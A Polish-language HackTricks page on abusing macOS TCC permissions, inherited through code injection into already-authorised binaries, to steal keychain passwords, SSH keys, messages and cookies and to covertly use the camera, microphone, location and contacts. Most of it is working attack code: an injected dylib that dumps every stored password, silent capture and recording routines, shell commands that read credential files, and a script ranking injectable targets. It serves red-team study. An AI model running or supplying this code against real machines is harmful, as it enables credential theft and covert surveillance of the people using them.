Kradzież poświadczeń i danych w macOS przez uprawnienia TCC
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.
Przegląd
macOS TCC (Przejrzystość, Zgoda i Kontrola) chroni dostęp do wrażliwych danych użytkownika. Kiedy atakujący kompromituje binarkę, która już posiada nadane uprawnienia TCC, dziedziczy te uprawnienia. Ta strona dokumentuje potencjał wykorzystania każdego uprawnienia TCC związanego z kradzieżą danych.
Warning
Iniekcja kodu do binarki z nadanymi uprawnieniami TCC (przez DYLD injection, dylib hijacking, lub task port) cicho dziedziczy wszystkie jej uprawnienia TCC. Nie ma dodatkowego monitu ani weryfikacji, kiedy ten sam proces odczytuje chronione dane.
Keychain Access Groups
Co można zdobyć
The macOS Keychain przechowuje:
- Wi-Fi passwords — wszystkie zapisane dane uwierzytelniające sieci bezprzewodowych
- Website passwords — Safari, Chrome (when using Keychain), oraz inne hasła z przeglądarek
- Application passwords — konta e-mail, poświadczenia VPN, tokeny developerskie
- Certificates and private keys — podpisywanie kodu, client TLS, szyfrowanie S/MIME
- Secure notes — sekrety przechowywane przez użytkownika
Entitlement: keychain-access-groups
Elementy Keychain są zorganizowane w grupy dostępu. Uprawnienie keychain-access-groups aplikacji wymienia, do których grup ma dostęp:
<key>keychain-access-groups</key>
<array>
<string>com.apple.cfnetwork</string> <!-- Network passwords -->
<string>com.apple.security.personal-information.identity</string> <!-- Personal certs -->
<string>apple</string> <!-- Broad Apple group -->
<string>InternetAccounts</string> <!-- Internet account passwords -->
</array>
Eksploatacja
# Find binaries with broad keychain access groups
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE entitlementsString LIKE '%keychain-access-groups%'
AND isAppleBin = 0
ORDER BY privileged DESC;"
# If you can inject into such a binary, enumerate keychain items:
security dump-keychain -d ~/Library/Keychains/login.keychain-db 2>&1 | head -100
# Find specific passwords
security find-generic-password -s "Wi-Fi" -w 2>&1
security find-internet-password -s "github.com" 2>&1
Code Injection → Keychain Theft
// Injected dylib code — runs with the target's keychain groups
#import <Security/Security.h>
__attribute__((constructor))
void dumpKeychain(void) {
NSDictionary *query = @{
(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnAttributes: @YES,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecMatchLimit: (__bridge id)kSecMatchLimitAll
};
CFArrayRef results = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (CFTypeRef *)&results);
if (status == errSecSuccess) {
NSArray *items = (__bridge NSArray *)results;
for (NSDictionary *item in items) {
NSString *service = item[(__bridge id)kSecAttrService];
NSString *account = item[(__bridge id)kSecAttrAccount];
NSData *passData = item[(__bridge id)kSecValueData];
NSString *password = [[NSString alloc] initWithData:passData encoding:NSUTF8StringEncoding];
// service, account, password — the full credential triple
}
}
}
Camera Access (kTCCServiceCamera)
Exploitation
Plik binarny z przydzielonym dostępem do kamery w TCC (poprzez kTCCServiceCamera lub uprawnienie com.apple.security.device.camera) może przechwytywać zdjęcia i wideo:
# Find camera-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceCamera' AND auth_value=2;"
Silent Capture
// Injected into a camera-entitled process
#import <AVFoundation/AVFoundation.h>
@interface SilentCapture : NSObject <AVCaptureVideoDataOutputSampleBufferDelegate>
@property (strong) AVCaptureSession *session;
@end
@implementation SilentCapture
- (void)startCapture {
self.session = [[AVCaptureSession alloc] init];
AVCaptureDevice *camera = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:camera error:nil];
[self.session addInput:input];
AVCaptureVideoDataOutput *output = [[AVCaptureVideoDataOutput alloc] init];
[output setSampleBufferDelegate:self queue:dispatch_get_global_queue(0, 0)];
[self.session addOutput:output];
[self.session startRunning];
// Camera LED turns on — but a brief capture may go unnoticed
}
- (void)captureOutput:(AVCaptureOutput *)output
didOutputSampleBuffer:(CMSampleBufferRef)sampleBuffer
fromConnection:(AVCaptureConnection *)connection {
// Each frame can be saved to disk or exfiltrated
// Stop after capturing a few frames to minimize LED time
[self.session stopRunning];
}
@end
Tip
Począwszy od macOS Sonoma, wskaźnik kamery w pasku menu jest trwały i nie można go ukryć programowo. W starszych wersjach macOS krótkie przechwycenie może nie spowodować zauważalnego wskaźnika.
Microphone Access (kTCCServiceMicrophone)
Exploitation
Dostęp do mikrofonu przechwytuje cały dźwięk z wbudowanego mikrofonu, słuchawek lub podłączonych urządzeń wejściowych audio:
# Find mic-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceMicrophone' AND auth_value=2;"
Atak: Nagrywanie otoczenia
// Injected into a mic-entitled process
#import <AVFoundation/AVFoundation.h>
- (void)recordAudio {
NSURL *url = [NSURL fileURLWithPath:@"/tmp/recording.m4a"];
NSDictionary *settings = @{
AVFormatIDKey: @(kAudioFormatMPEG4AAC),
AVSampleRateKey: @44100.0,
AVNumberOfChannelsKey: @1
};
AVAudioRecorder *recorder = [[AVAudioRecorder alloc] initWithURL:url settings:settings error:nil];
[recorder record];
// Records everything: conversations, phone calls, ambient audio
// Stop after a duration
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC),
dispatch_get_main_queue(), ^{
[recorder stop];
// Exfiltrate /tmp/recording.m4a
});
}
Śledzenie lokalizacji (kTCCServiceLocation)
Eksploatacja
# Find location-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service LIKE '%Location%' AND auth_value=2;"
Ciągłe śledzenie
#import <CoreLocation/CoreLocation.h>
@interface Tracker : NSObject <CLLocationManagerDelegate>
@end
@implementation Tracker
- (void)startTracking {
CLLocationManager *mgr = [[CLLocationManager alloc] init];
mgr.delegate = self;
mgr.desiredAccuracy = kCLLocationAccuracyBest;
[mgr startUpdatingLocation];
}
- (void)locationManager:(CLLocationManager *)manager
didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *loc = locations.lastObject;
// loc.coordinate.latitude, loc.coordinate.longitude
// Reveals: home address, work address, travel patterns, daily routine
NSString *entry = [NSString stringWithFormat:@"%f,%f,%@\n",
loc.coordinate.latitude, loc.coordinate.longitude, [NSDate date]];
// Append to tracking log
}
@end
Kontakty / Kalendarz / Zdjęcia
Eksfiltracja danych osobowych
| Usługa TCC | Framework | Dane |
|---|---|---|
kTCCServiceAddressBook | Contacts.framework | Imiona i nazwiska, adresy e-mail, numery telefonów, adresy |
kTCCServiceCalendar | EventKit | Spotkania, uczestnicy, lokalizacje |
kTCCServicePhotos | Photos.framework | Zdjęcia, zrzuty ekranu, metadane lokalizacji |
# Find authorized binaries for each service
for svc in kTCCServiceAddressBook kTCCServiceCalendar kTCCServicePhotos; do
echo "=== $svc ==="
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='$svc' AND auth_value=2;"
done
Pozyskiwanie kontaktów
#import <Contacts/Contacts.h>
CNContactStore *store = [[CNContactStore alloc] init];
NSArray *keys = @[CNContactGivenNameKey, CNContactFamilyNameKey,
CNContactEmailAddressesKey, CNContactPhoneNumbersKey];
CNContactFetchRequest *request = [[CNContactFetchRequest alloc] initWithKeysToFetch:keys];
[store enumerateContactsWithFetchRequest:request error:nil
usingBlock:^(CNContact *contact, BOOL *stop) {
// contact.givenName, contact.familyName
// contact.emailAddresses, contact.phoneNumbers
// All contacts exfiltrated for social engineering / spear phishing
}];
Dostęp do konta iCloud
Uprawnienie: com.apple.private.icloud-account-access
To uprawnienie pozwala na komunikację z usługą XPC com.apple.iCloudHelper, zapewniając dostęp do:
- iCloud tokens — tokeny uwierzytelniające do Apple ID użytkownika
- iCloud Drive — dokumenty synchronizowane ze wszystkich urządzeń
- iCloud Keychain — hasła synchronizowane na wszystkich urządzeniach Apple
- Find My — lokalizacja wszystkich urządzeń Apple użytkownika
# Find iCloud-entitled binaries
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE iCloudAccs = 1
ORDER BY privileged DESC;"
Caution
Skompromitowanie binarki z uprawnieniem iCloud rozszerza atak z pojedynczego urządzenia na cały ekosystem Apple: inne Maci, iPhone’y, iPady, Apple Watch. Synchronizacja iCloud Keychain oznacza, że hasła ze wszystkich urządzeń są dostępne.
Full Disk Access (kTCCServiceSystemPolicyAllFiles)
Najpotężniejsze uprawnienie TCC
Full Disk Access przyznaje możliwość odczytu każdego pliku w systemie, w tym:
- Dane innych aplikacji (Messages, Mail, historia Safari)
- Bazy danych TCC (ujawniają wszystkie inne uprawnienia)
- Klucze SSH i konfiguracja
- Cookies przeglądarki i tokeny sesyjne
- Bazy danych aplikacji i cache
# Find FDA-granted binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceSystemPolicyAllFiles' AND auth_value=2;"
# With FDA, read anything:
cat ~/Library/Messages/chat.db # iMessage history
cat ~/Library/Safari/History.db # Safari browsing history
cat ~/Library/Cookies/Cookies.binarycookies # Browser cookies
cat ~/.ssh/id_rsa # SSH private key
Macierz priorytetów eksploatacji
Podczas oceny binariów przyznanych przez TCC, do których można wstrzykiwać kod, priorytetyzuj według wartości danych:
| Priorytet | TCC Permission | Dlaczego |
|---|---|---|
| Krytyczny | Full Disk Access | Dostęp do wszystkiego |
| Krytyczny | TCC Manager | Może przyznać dowolne uprawnienie |
| Wysoki | Keychain Access Groups | Wszystkie przechowywane hasła |
| Wysoki | iCloud Account Access | Kompromitacja wielu urządzeń |
| Wysoki | Input Monitoring (ListenEvent) | Keylogging |
| Wysoki | Accessibility | Kontrola GUI, możliwość samoprzyznania uprawnień |
| Średni | Screen Capture | Przechwytywanie danych wizualnych |
| Średni | Camera + Microphone | Nadzór |
| Średni | Contacts + Calendar | Dane przydatne do inżynierii społecznej |
| Niski | Location | Śledzenie fizyczne |
| Niski | Photos | Dane osobiste |
Skrypt enumeracji
#!/bin/bash
echo "=== TCC Credential Theft Surface Audit ==="
echo -e "\n[*] High-value TCC grants (injectable binaries):"
sqlite3 /tmp/executables.db "
SELECT path, tccPermsStr FROM executables
WHERE (noLibVal = 1 OR allowDyldEnv = 1)
AND tccPermsStr IS NOT NULL
AND tccPermsStr != ''
ORDER BY privileged DESC
LIMIT 30;" 2>/dev/null
echo -e "\n[*] Keychain-entitled injectable binaries:"
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE entitlementsString LIKE '%keychain-access-groups%'
AND (noLibVal = 1 OR allowDyldEnv = 1);" 2>/dev/null
echo -e "\n[*] iCloud-entitled binaries:"
sqlite3 /tmp/executables.db "
SELECT path FROM executables WHERE iCloudAccs = 1;" 2>/dev/null
Bibliografia
- Apple Developer — Keychain Services
- Apple Developer — TCC
- Objective-See — TCC Exploitation
- OBTS v5.0 — iCloud Token Extraction (Wojciech Regula)
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.


